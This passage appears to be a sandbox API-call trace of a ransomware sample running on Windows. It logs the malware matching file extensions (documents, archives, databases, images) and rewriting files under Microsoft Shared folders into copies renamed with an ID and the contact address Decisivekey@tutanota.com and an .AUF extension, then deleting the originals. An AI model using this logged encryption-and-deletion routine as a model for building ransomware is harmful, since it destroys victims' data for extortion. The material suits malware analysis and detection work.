[0218.430] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.430] lstrlenW (lpString=".7z") returned 3 [0218.430] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString=".dbf") returned 4 [0218.430] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString=".1cd") returned 4 [0218.430] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString=".jpg") returned 4 [0218.430] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString=".doc") returned 4 [0218.430] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.430] lstrlenW (lpString=".docx") returned 5 [0218.430] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.430] lstrlenW (lpString=".pdf") returned 4 [0218.430] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".xls") returned 4 [0218.430] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".xlsx") returned 5 [0218.430] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.430] lstrlenW (lpString=".ppt") returned 4 [0218.430] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString=".zip") returned 4 [0218.430] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".rar") returned 4 [0218.430] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.430] lstrlenW (lpString=".bz2") returned 4 [0218.430] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.430] lstrlenW (lpString=".7z") returned 3 [0218.430] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.430] lstrlenW (lpString=".dbf") returned 4 [0218.430] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.431] lstrlenW (lpString=".1cd") returned 4 [0218.431] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0218.431] lstrlenW (lpString=".jpg") returned 4 [0218.431] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.431] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0218.431] lstrlenW (lpString="hxds.dll") returned 8 [0218.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.432] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1257984) returned 1 [0218.432] CloseHandle (hObject=0x1e0) returned 1 [0218.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0218.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.432] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.432] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.433] GetLastError () returned 0x0 [0218.433] ReadFile (in: hFile=0x1e0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0218.492] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0218.505] ReadFile (in: hFile=0x1e0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x33210, lpOverlapped=0x0) returned 1 [0218.544] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x33220, lpOverlapped=0x0) returned 1 [0218.559] ReadFile (in: hFile=0x1e0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.559] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0218.559] SetEndOfFile (hFile=0x1f4) returned 1 [0218.761] CloseHandle (hObject=0x1f4) returned 1 [0218.761] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.761] SetEndOfFile (hFile=0x1e0) returned 1 [0218.763] CloseHandle (hObject=0x1e0) returned 1 [0218.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.763] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0218.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.763] lstrlenW (lpString=".doc") returned 4 [0218.763] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.763] lstrlenW (lpString=".docx") returned 5 [0218.763] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0218.763] lstrlenW (lpString=".pdf") returned 4 [0218.763] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.763] lstrlenW (lpString=".xls") returned 4 [0218.763] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.763] lstrlenW (lpString=".xlsx") returned 5 [0218.763] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0218.763] lstrlenW (lpString=".ppt") returned 4 [0218.763] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.763] lstrlenW (lpString=".zip") returned 4 [0218.763] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.763] lstrlenW (lpString=".rar") returned 4 [0218.763] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.764] lstrlenW (lpString=".bz2") returned 4 [0218.764] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.764] lstrlenW (lpString=".7z") returned 3 [0218.764] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.764] lstrlenW (lpString=".dbf") returned 4 [0218.764] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.764] lstrlenW (lpString=".1cd") returned 4 [0218.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.764] lstrlenW (lpString=".jpg") returned 4 [0218.764] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.764] lstrlenW (lpString=".doc") returned 4 [0218.764] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.764] lstrlenW (lpString=".docx") returned 5 [0218.764] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0218.764] lstrlenW (lpString=".pdf") returned 4 [0218.764] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.764] lstrlenW (lpString=".xls") returned 4 [0218.770] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.770] lstrlenW (lpString=".xlsx") returned 5 [0218.770] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0218.770] lstrlenW (lpString=".ppt") returned 4 [0218.770] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.770] lstrlenW (lpString=".zip") returned 4 [0218.770] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.770] lstrlenW (lpString=".rar") returned 4 [0218.770] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.770] lstrlenW (lpString=".bz2") returned 4 [0218.770] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.770] lstrlenW (lpString=".7z") returned 3 [0218.770] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.770] lstrlenW (lpString=".dbf") returned 4 [0218.770] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.770] lstrlenW (lpString=".1cd") returned 4 [0218.770] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0218.770] lstrlenW (lpString=".jpg") returned 4 [0218.770] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.771] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.771] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0218.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.130] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=2560) returned 1 [0219.130] CloseHandle (hObject=0x1d8) returned 1 [0219.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0219.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.130] lstrlenW (lpString=".doc") returned 4 [0219.130] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0219.130] lstrlenW (lpString=".docx") returned 5 [0219.130] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0219.130] lstrlenW (lpString=".pdf") returned 4 [0219.130] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0219.130] lstrlenW (lpString=".xls") returned 4 [0219.130] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0219.130] lstrlenW (lpString=".xlsx") returned 5 [0219.130] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0219.130] lstrlenW (lpString=".ppt") returned 4 [0219.130] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0219.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.130] lstrlenW (lpString=".zip") returned 4 [0219.130] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0219.131] lstrlenW (lpString=".rar") returned 4 [0219.131] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0219.131] lstrlenW (lpString=".bz2") returned 4 [0219.131] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString=".7z") returned 3 [0219.131] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".dbf") returned 4 [0219.131] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".1cd") returned 4 [0219.131] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".jpg") returned 4 [0219.131] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".doc") returned 4 [0219.131] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString=".docx") returned 5 [0219.131] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0219.131] lstrlenW (lpString=".pdf") returned 4 [0219.131] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0219.131] lstrlenW (lpString=".xls") returned 4 [0219.131] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0219.131] lstrlenW (lpString=".xlsx") returned 5 [0219.131] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0219.131] lstrlenW (lpString=".ppt") returned 4 [0219.131] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".zip") returned 4 [0219.131] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0219.131] lstrlenW (lpString=".rar") returned 4 [0219.131] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0219.131] lstrlenW (lpString=".bz2") returned 4 [0219.131] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString=".7z") returned 3 [0219.131] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".dbf") returned 4 [0219.131] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".1cd") returned 4 [0219.131] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0219.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0219.131] lstrlenW (lpString=".jpg") returned 4 [0219.131] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0219.132] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.132] lstrlenW (lpString="ALRTINTL.DLL") returned 12 [0219.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.132] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=154448) returned 1 [0219.132] CloseHandle (hObject=0x1d8) returned 1 [0219.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0219.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0219.132] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.132] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0219.133] GetLastError () returned 0x0 [0219.133] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x25b50, lpOverlapped=0x0) returned 1 [0219.137] WriteFile (in: hFile=0x208, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0219.205] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.205] WriteFile (in: hFile=0x208, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.205] SetEndOfFile (hFile=0x208) returned 1 [0219.205] CloseHandle (hObject=0x208) returned 1 [0219.206] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.206] SetEndOfFile (hFile=0x1d8) returned 1 [0219.207] CloseHandle (hObject=0x1d8) returned 1 [0219.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.208] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString=".doc") returned 4 [0219.209] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString=".docx") returned 5 [0219.209] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.209] lstrlenW (lpString=".pdf") returned 4 [0219.209] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString=".xls") returned 4 [0219.209] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString=".xlsx") returned 5 [0219.209] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.209] lstrlenW (lpString=".ppt") returned 4 [0219.209] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString=".zip") returned 4 [0219.209] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString=".rar") returned 4 [0219.209] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString=".bz2") returned 4 [0219.209] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.209] lstrlenW (lpString=".7z") returned 3 [0219.209] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString=".dbf") returned 4 [0219.209] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString=".1cd") returned 4 [0219.209] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString=".jpg") returned 4 [0219.209] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.209] lstrlenW (lpString=".doc") returned 4 [0219.209] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString=".docx") returned 5 [0219.209] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.209] lstrlenW (lpString=".pdf") returned 4 [0219.209] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.209] lstrlenW (lpString=".xls") returned 4 [0219.209] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.210] lstrlenW (lpString=".xlsx") returned 5 [0219.210] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.210] lstrlenW (lpString=".ppt") returned 4 [0219.210] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.210] lstrlenW (lpString=".zip") returned 4 [0219.210] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.210] lstrlenW (lpString=".rar") returned 4 [0219.210] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.210] lstrlenW (lpString=".bz2") returned 4 [0219.210] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.210] lstrlenW (lpString=".7z") returned 3 [0219.210] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0219.210] lstrlenW (lpString=".dbf") returned 4 [0219.210] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.210] lstrlenW 